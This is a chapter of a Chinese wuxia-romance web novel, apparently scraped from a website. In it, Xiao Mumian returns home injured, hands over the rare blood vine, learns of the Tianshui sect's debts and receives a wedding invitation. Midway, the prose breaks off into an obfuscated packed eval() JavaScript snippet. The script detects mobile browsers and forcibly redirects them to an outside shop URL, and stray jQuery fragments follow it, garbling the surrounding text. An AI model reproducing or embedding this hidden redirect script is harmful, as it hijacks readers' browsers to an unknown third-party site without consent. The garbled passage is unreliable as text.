21. 请帖
    这鬼宝阁是她自己要去的,抢东西也是她一个人的主意,她想替沈世遇分辩几句,只听秦烬阳“砰”的一声关上房门,出去了。

    受了伤的萧慕棉每天都被秦烬阳亲自盯着休息养伤,只能闲在烬阳楼等爹爹的回信,她左等右等,也未等来万湖山庄的回信。

    钱老爷已来问过多次,可始终没有关于天水宗的新消息传来。她看着盒子里这一堆从鬼宝阁带出来的毒药、迷药,还有血藤子,索性收拾了包袱准备回万湖山庄去。

    萧慕棉在第七层转了一圈也没瞧见秦烬阳的身影,她正准备去找皓元问问时,余光瞟过窗外,看见秦烬阳和任来正站在湖边。

    她“蹬蹬蹬”的下楼去,想着秦烬阳和任来聊完,自己便去跟秦烬阳辞别,可才到第五层,就被皓元拦下了:

    “萧小姐,你这会儿还是别过去了,楼主和任掌事吵得可厉害了。”

    “他们为何吵?”萧慕棉问道。

    皓元面露难色,摇摇头:“不知道,我们也不敢凑近了去偷听呀,只隐约听见两人在争执。”

    大约过了半个时辰,任来满面怒容,步伐沉重地回到了烬阳楼,还莫名其妙的朝几位管事发了顿火,而秦烬阳则是朝山下而去,不知道去了何处。

    萧慕棉在烬阳楼内无聊地等待着,时间一分一秒地流逝,直到第二次清晨秦烬阳的身影依旧未曾出现,无奈之下,她只得于书房案几之上留下了一封书信,并拜托皓元待秦烬阳归来后,将自己归家之事告知于他。

    萧长东和李棉心已有四月未见女儿,见萧慕棉回来,两人的喜悦之情溢于言表,萧长东张开双臂想要拥抱女儿,却不慎触碰到她肩头的伤口,惹得萧慕棉连连大叫。

    萧长东目光迅速落在了女儿的肩膀上,神色瞬间凝重起来:“棉儿,你在永州学剑,怎会落得如此重伤?”

    “不过是学剑时不慎划伤了罢了。”萧慕棉不愿将自己闯鬼宝阁的事说出来,惹得爹娘担心,但萧长东哪儿是那么好糊弄的,满脸都写着不相信。

    她眼珠一转,双手环住萧长东的胳膊,轻轻摇晃着,仰起头,一双水汪汪的大眼睛忽闪忽闪地望着父亲,企图用撒娇蒙混过关。

    然而,萧长东却并未上当,沉声吩咐道:“去把川断叫来。”

    川断小心翼翼的揭开萧慕棉肩上的棉纱,仔细查看着那道伤痕:

    “此乃刀伤无疑,位置在左肩,伤口走势诡异,深浅不一,显然是在出刀之际受到了干扰,导致刀刃偏离。虽伤得不轻,但好在恢复得不错,只是皮肉之伤,我再为小姐开些药,调养几日便可。”

    “说吧,这刀伤究竟是如何得来的?”萧长东的语气不容置疑。

    萧慕棉轻咬下唇,知道是躲不过去了,便一五一十地将自己在永州协助沈世遇破案、两次潜入暗市、以及在鬼宝阁中抢夺血藤子的经历一一道来。

    “血藤子!”当这三个字从萧慕棉口中说出时,川断惊得几乎要跳起来,他的眼睛瞪得滚圆,满脸都是难以置信的表情。他猛地站起身,不慎将身后的椅子撞翻在地,却浑然未觉。

    “对对,我这次回来就是为了把这些东西给您的。”

    萧慕棉从包袱中取出盒子,川断颤抖着手接过萧慕棉递来的盒子,目光紧紧锁定在那根血红欲滴的枯藤之上。他不可置信的举起那根枯藤,在冬日的阳光下仔细端详,口中不由自主地发出“老天爷啊”的惊叹声。

    川断颤抖的收好盒子,眼中闪烁着难以抑制的激动光芒,轻声道:

    “小姐,这确是血藤子无疑,此乃世间罕见之物啊。这些东西我便先带回去了,一旦有任何发现,定当第一时间禀报老爷、夫人及小姐。”

    川断已是一把年纪,但此刻兴奋得像个孩子,不自觉的手舞足蹈起来,脸上绽放的笑容从嘴角一直蔓延到眼角,仿佛连皱纹都洋溢着激动的气息。胸膛剧烈地起伏着,那颗心仿佛要从嗓子眼儿里蹦出来。

    当他满怀欢喜地转身离去,险些与手捧茶盘的青琅相撞。青琅见状,连忙稳住身形,笑靥如花地问道:“川断叔叔,这是寻到了什么稀世珍宝,让您如此开心?”

    川断笑得眉飞色舞,正欲开口打趣一番,忽而鼻翼微动,笑容刹那间凝固在脸上,他深吸一口,面色渐渐沉了下去,目光锐利地扫向青琅手中的茶盘,沉声问道:

    “青琅姑娘,这茶你是从何而来?”

    青琅手托茶盘,不明所以地望着川断,迟疑地答道:“这是小姐从永州带回来的,我想着泡一壶给老爷和夫人品尝。”

    “川断叔叔,这茶有何不妥吗?”一旁的萧慕棉见状,也面露疑惑之色,轻声问道。

    川断将视线转向萧慕棉,神色凝重:“小姐,这便是你在暗市买的茶?”

    萧慕棉点点头:“正是,不过此茶并非暗市才有,钱家商队最近从西域带回一些,正打算在自家茶铺中售卖。”

    闻言,川断从青琅手中拿过茶盘,谨慎说道:“老爷、小姐,此茶暂且不宜饮用。我需即刻取些茶叶来,待我亲自查验确认无碍后,再行享用。”

    萧长东微微颔首,随即川断便与青琅一同匆匆赶往萧慕棉的院子取茶叶。

    萧慕棉看着两人背影,不安的说道:“这茶,莫不是真有什么问题?暗市也就算了,钱家可是打算在茶铺售卖的,若有不妥,可能酿成不可挽回的后果。”

    “你说的钱家,可是即将与天水宗结亲的永州钱氏?”李棉心柔声问道。

    萧慕棉微微颔首:“正是,他们家二小姐钱灵已与赵景年定下婚约。”

    随即,她目光转向萧长东:“我向爹爹打听天水宗的事,爹爹为何一直未回信呢?”

    萧长东张了张嘴,欲言又止,萧慕棉心中不禁打起鼓来,又望向母亲,李棉心被萧慕棉看得有些不自在,终是开了口:<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259330|139805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “天水宗与万湖山庄百年来一直交好,即便是经历改朝换代,也一直受朝廷敬重,你爹爹是不想背后评说天水宗,所以……”

    “那天水宗可真有什么不能言道之事?”萧慕棉紧张起来,赵景年去参加钱灵的比武招亲本就可疑,莫不是背后真有隐情。

    李棉心看向夫君,萧长东还是欲言又止不愿多说,可女儿一双眼睛炙热的盯着两人,叹了口气,还是她来做这个恶人吧:

    “天水宗门规森严,你爹爹并未探到更详细的情况,只是知道天水宗门下的产业应是出了不小的问题。从荆川各大钱庄那儿得到的消息,天水宗欠下不少债,门下产业有的也已周转不过来。”

    萧慕棉脑海中灵光一闪,瞬间明白了:

    “所以赵景年要求娶钱灵,钱家家业大底子厚,钱灵的嫁妆定不是小数目,既可以用钱灵的嫁妆填债务,日后还可借助钱家的商路发展自己的产业。”

    萧慕棉得知此事,匆匆给钱老爷和秦烬阳各送去一封信,一是言明天水宗的债务问题,二则是为了术玉一事提出警醒,切莫拿到铺子里卖。

    因为担心钱老爷事务繁忙,来不及看到这封信,末了,还让秦烬阳务必将信中所述转告钱老爷。

    萧慕棉将信纸放入信筒,鸽子舒展了一下翅膀,双腿一蹬,如离弦之箭般冲向天空。

    萧慕棉望着已成一个小白点的鸽子,皱起眉头,这天水宗的产业都是祖传的,在荆川那地方就是唯一的地头蛇,怎会无缘无故欠下债务,导致产业都周转不过来呢。

    萧慕棉脑海中突然出现那日在暗市赌坊看到的身影,一阵寒风袭来,她打了个寒颤,将这个画面抖出了脑海,一定是自己看错了。

    萧慕棉本以为会先收到秦烬阳的回信,没想到钱老爷的回信倒是先到了,信笺上只简单写了“多谢”二字。萧慕棉不知钱家作何打算,又给秦烬阳写了封信,开始日盼夜盼秦烬阳的回信。

    万万没想到,秦烬阳的回信没来,天水宗的请帖竟先送到了。

    赵景年与钱灵的婚期订在了腊月初十,不到两月之后,萧慕棉不禁腹诽道:这天水宗是迫不及待的想把钱灵坑回家。

    她心中纳闷,这钱家已知天水宗是冲着钱灵的嫁妆和钱家的产业来的,怎么还愿意结这门亲事。秦烬阳也是,不知道有没有收到信,怎么连封回信也没有。

    可没多久,萧慕棉便没空去想这些了,快腊月了,万湖山庄早早就开始准备年关所需的一应物件。萧长东和李棉心这些日子忙着打整万湖山庄的产业,准备年关用度这等事,便落在了萧慕棉肩上。

    万湖山庄只得这一位小姐,所以自她及笄后便开始参与管理万湖山庄的日常事务,虽说是年复一年、年年如此,没什么需要特别注意的地方,但琐事繁多,萧慕棉连轴转得都忘了从鬼宝阁带出来的东西。

    直到这日川断一脸凝重的找到她。